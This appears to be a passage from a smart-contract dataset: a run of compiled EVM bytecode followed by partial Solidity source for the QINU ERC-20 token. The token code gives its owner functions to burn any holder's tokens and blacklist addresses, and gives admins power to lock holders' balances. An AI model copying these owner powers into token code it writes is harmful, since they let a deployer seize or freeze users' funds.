ff16021790555090505060606040519081016040528060e960ff168152602001600060ff168152602001600060ff16815250600080600860ff16815260200190815260200160002060146020811015156126ca57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f060ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020601860208110151561277d57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f060ff168152602001600060ff168152602001600060ff16815250600080600860ff168152602001908152602001600020601760208110151561283057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160aa60ff168152602001600060ff16815250600080601060ff16815260200190815260200160002060146020811015156128e357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001609660ff168152602001600060ff16815250600080601060ff168152602001908152602001600020601760208110151561299657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001607a60ff168152602001600060ff16815250600080601060ff1681526020019081526020016000206013602081101515612a4957fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001609660ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600d602081101515612afc57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001607a60ff168152602001600060ff16815250600080601060ff1681526020019081526020016000206009602081101515612baf57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001606360ff168152602001600060ff16815250600080601060ff1681526020019081526020016000206008602081101515612c6257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001600c60ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600e602081101515612d1557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001600260ff168152602001600060ff16815250600080601060ff1681526020019081526020016000206007602081101515612dc857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160c860ff168152602001600060ff16815250600080601060ff1681526020019081526020016000206019602081101515612e7b57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001603760ff168152602001600060ff16815250600080601060ff1681526020019081526020016000206012602081101515612f2e57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001600860ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600f602081101515612fe157fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001602460ff168152602001600060ff16815250600080601060ff168152602001908152602001600020601060208110151561309457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001601460ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600160208110151561314757fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001601460ff168152602001600060ff16815250600080601060ff16815260200190815260200160002060046020811015156131fa57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001605a60ff168152602001600060ff16815250600080601060ff16815260200190815260200160002060036020811015156132ad57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001601860ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600660208110151561336057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001602160ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600560208110151561341357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001601460ff168152602001600060ff16815250600080601060ff16815260200190815260200160002060006020811015156134c657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001600a60ff168152602001600060ff16815250600080601060ff168152602001908152602001600020600a60208110151561357957fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160e660ff168152602001600060ff16815250600080601860ff168152602001908152602001600020601b60208110151561362c57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160c860ff168152602001600060ff16815250600080601860ff16815260200190815260200160002060096020811015156136df57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160be60ff168152602001600060ff16815250600080601860ff168152602001908152602001600020601160208110151561379257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160dc60ff168152602001600060ff16815250600080601860ff168152602001908152602001600020601760208110151561384557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001608c60ff168152602001600060ff16815250600080601860ff16815260200190815260200160002060186020811015156138f857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160a060ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600d6020811015156139ab57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160b160ff168152602001600060ff16815250600080601860ff1681526020019081526020016000206016602081101515613a5e57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160c960ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600f602081101515613b1157fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001605a60ff168152602001600060ff16815250600080601860ff1681526020019081526020016000206010602081101515613bc457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001607a60ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600e602081101515613c7757fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001604260ff168152602001600060ff16815250600080601860ff1681526020019081526020016000206002602081101515613d2a57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001601760ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600a602081101515613ddd57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001606360ff168152602001600060ff16815250600080601860ff1681526020019081526020016000206000602081101515613e9057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff16815260200160be60ff168152602001600060ff16815250600080601860ff1681526020019081526020016000206003602081101515613f4357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001600960ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600c602081101515613ff657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001603c60ff168152602001600060ff16815250600080601860ff16815260200190815260200160002060136020811015156140a957fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001601e60ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600160208110151561415c57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001600a60ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600760208110151561420f57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001603260ff168152602001600060ff16815250600080601860ff16815260200190815260200160002060066020811015156142c257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600060ff168152602001602c60ff168152602001600060ff16815250600080601860ff168152602001908152602001600020600460208110151561437557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060fa60ff16815260200160c860ff168152602001600060ff16815250600080601c60ff168152602001908152602001600020601160208110151561442857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060c860ff16815260200160fa60ff168152602001600060ff16815250600080601c60ff16815260200190815260200160002060136020811015156144db57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f060ff16815260200160ff80168152602001600060ff16815250600080601c60ff168152602001908152602001600020601460208110151561458d57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f560ff16815260200160ff80168152602001600060ff16815250600080601c60ff168152602001908152602001600020601760208110151561463f57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280600a60ff168152602001600060ff168152602001600060ff16815250600080602060ff16815260200190815260200160002060096020811015156146f257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280602860ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600e6020811015156147a557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609660ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600f60208110151561485857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280602860ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600a60208110151561490b57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280601460ff168152602001600060ff168152602001600060ff16815250600080602060ff16815260200190815260200160002060086020811015156149be57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280605a60ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206003602081101515614a7157fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280606e60ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206017602081101515614b2457fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280607a60ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206000602081101515614bd757fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609b60ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600b602081101515614c8a57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609660ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206002602081101515614d3d57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060c260ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206014602081101515614df057fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060d160ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206011602081101515614ea357fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060d260ff168152602001600060ff168152602001600060ff16815250600080602060ff1681526020019081526020016000206015602081101515614f5657fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280606360ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600160208110151561500957fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050606060405190810160405280609660ff168152602001600060ff168152602001600060ff16815250600080602060ff16815260200190815260200160002060106020811015156150bc57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060e160ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020601860208110151561516f57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060e660ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600660208110151561522257fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060fa60ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020601a6020811015156152d557fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060f060ff168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020600760208110151561538857fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555090505060606040519081016040528060ff80168152602001600060ff168152602001600060ff16815250600080602060ff168152602001908152602001600020601360208110151561543a57fe5b0160008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff160217905550905050565b60008060008060008060006154b78a615578565b95506154c289615578565b94506154d08a896002615596565b6154dc8b8a60016155e9565b0293506154eb89896004615596565b6154f78a8a60036155e9565b0292506155068a896005615684565b915061551489896006615684565b905060026003830281151561552557fe5b0583038603955060026003820281151561553b57fe5b05840385039450848612156155525788965061556b565b858512156155625789965061556a565b600060010296505b5b5050505050509392505050565b60006004615587836000615709565b604001510260ff169050919050565b60008360405180826000191660001916815260200191505060405180910390206001900460ff166155c78484615968565b6001900460ff16146155da5760016155dd565b60025b60ff1690509392505050565b60006155f6846000615709565b6000015160ff168101905061560c846008615709565b6000015160ff1681019050615622846004615709565b6000015160ff168101905061563884601c615709565b6000015160ff168101905061564e846020615709565b6000015160ff168101905060026156658484615968565b6001900460ff1681151561567557fe5b0460ff16810190509392505050565b6000615691846004615709565b6020015160ff16810190506156a7846010615709565b6020015160ff16810190506156bd846018615709565b6020015160ff16810190506156d384601c615709565b6020015160ff168101905060026156ea8484615968565b6001900460ff168115156156fa57fe5b0460ff16810190509392505050565b6157116159f1565b6000615720848460ff1661598e565b90506000808460ff1660ff1681526020019081526020016000208160ff1660208110151561574a57fe5b01606060405190810160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff168152505091506000826000015160ff161480156157ce57506000826020015160ff16145b80156157e157506000826040015160ff16145b15615961576060604051908101604052808285604051808360ff1660ff167f01000000000000000000000000000000000000000000000000000000000000000281526001018260ff1660ff167f01000000000000000000000000000000000000000000000000000000000000000281526001019250505060405180910390206001900460ff1681526020018285604051808360ff1660ff167f01000000000000000000000000000000000000000000000000000000000000000281526001018260ff1660ff167f01000000000000000000000000000000000000000000000000000000000000000281526001019250505060405180910390206001900460ff1681526020018285604051808360ff1660ff167f01000000000000000000000000000000000000000000000000000000000000000281526001018260ff1660ff167f01000000000000000000000000000000000000000000000000000000000000000281526001019250505060405180910390206001900460ff1681525091505b5092915050565b600081836001900401604051808281526020019150506040518091039020905092915050565b6000601f7f0100000000000000000000000000000000000000000000000000000000000000026005830260f80384600019169060020a02167f01000000000000000000000000000000000000000000000000000000000000009004905092915050565b606060405190810160405280600060ff168152602001600060ff168152602001600060ff16815250905600a165627a7a72305820cab1ea98b0a49d8c6c76e5a1f31f43526d33e41464ebfef75b97e15fcde7b02e0029 | {"success": true, "error": null, "results": {}} | 693 |
0xb00fe5bad042ab2a10957ba7ac0e4a279444bda7 | /*
$$$$$$ $$$$$$$$$$
$$$$ $$$$ $$$$
$$$$ $$$$ $$$$$ $$$$$ $$$$$$ $$$$$$ $$$$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$ $$$$$ $$$ $$$ $$$$ $$ $$$$ $$ $$$$$$$$$$ $$$$ $$$$$$$$$$ $$$ $$$
$$$$$ $$$ $$$$$ $$$ $$$ $$$$$$$$$$ $$$$$$$$$$ $$$$ $$$ $$$$ $$$$ $$$ $$$ $$$
$$$$$$ $ $$$$$ $$$ $$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$ $$$ $$$
$$$$$ $$$$$$ $$$ $$$ $$$$ $$ $$$$ $$ $$$$$ $$$ $$$$$ $$$$$ $$$ $$$ $$$
$$$$$$$$$ $$$$$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$$$$
$$$
$$$$$$
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract QINU is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
